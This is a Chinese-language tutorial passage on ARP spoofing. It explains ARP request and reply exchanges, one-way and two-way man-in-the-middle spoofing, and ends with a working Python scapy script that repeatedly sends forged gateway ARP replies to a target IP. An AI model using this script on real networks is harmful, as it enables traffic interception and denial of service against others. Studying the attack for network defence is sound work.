假设有两台主机A:192.168.1.1,B:192.168.1.2。当主机A要与主机B通信时,A首先会以广播的方式发送一个ARP请求包,该数据包包含了源IP(192.168.1.1),源MAC(A),目标IP(192.168.1.2),目标MAC(ff:ff:ff:ff:ff:ff),B收到广播包后会先将A的IP与MAC地址记录到自己的ARP缓存表中,然后给A单播回复ARP replay包,该数据包包含了源IP(192.168.1.2),源MAC(B),目标IP(192.168.1.1),目标MAC(A),A收到该数据包后会将B的IP和MAC记录到自己的ARP缓存中,之后与B的通讯查询缓存即可。
由于ARP是无状态协议,所以当一台主机收到一个ARP响应包后不会检查自己是否发送过ARP请求,而是直接将该条记录加载到ARP缓存表中或更新原记录。这样就可以利用向目标主机发送大量的ARP响应包导致目标主机的ARP缓存一致处于错误记录状态,从而达到ARP欺骗目的
单向欺骗是只对目标主机或者网关发起ARP欺骗,攻击者只需要将自己伪装成网关或者一台主机向局域网内其他主机发送ARP响应报文即可
攻击者同时欺骗网关和目标主机,对网关说我是A,对A说我是网关,那么A与网关之间的流量都要经过攻击者的电脑,他们之间的数据也都将被攻击者截获。
from scapy.all import * import time def ethernet(targetIP): eth = Ether() eth.dst = getmacbyip(targetIP) eth.type = 0x0806 return eth def arpPacket(targetIP): arp = ARP() arp.hwlen = 6 arp.plen = 4 arp.op = 2 arp.psrc = conf.route.route()[2] arp.hwdst = getmacbyip(targetIP) arp.pdst = targetIP return arp def sendPacket(targetIP): eth = ethernet(targetIP) arp = arpPacket(targetIP) packet = eth / arp sendp(packet) if __name__ == '__main__': targetIP = input("Please input target ip: ") while True: sendPacket(targetIP) time.sleep(0.5)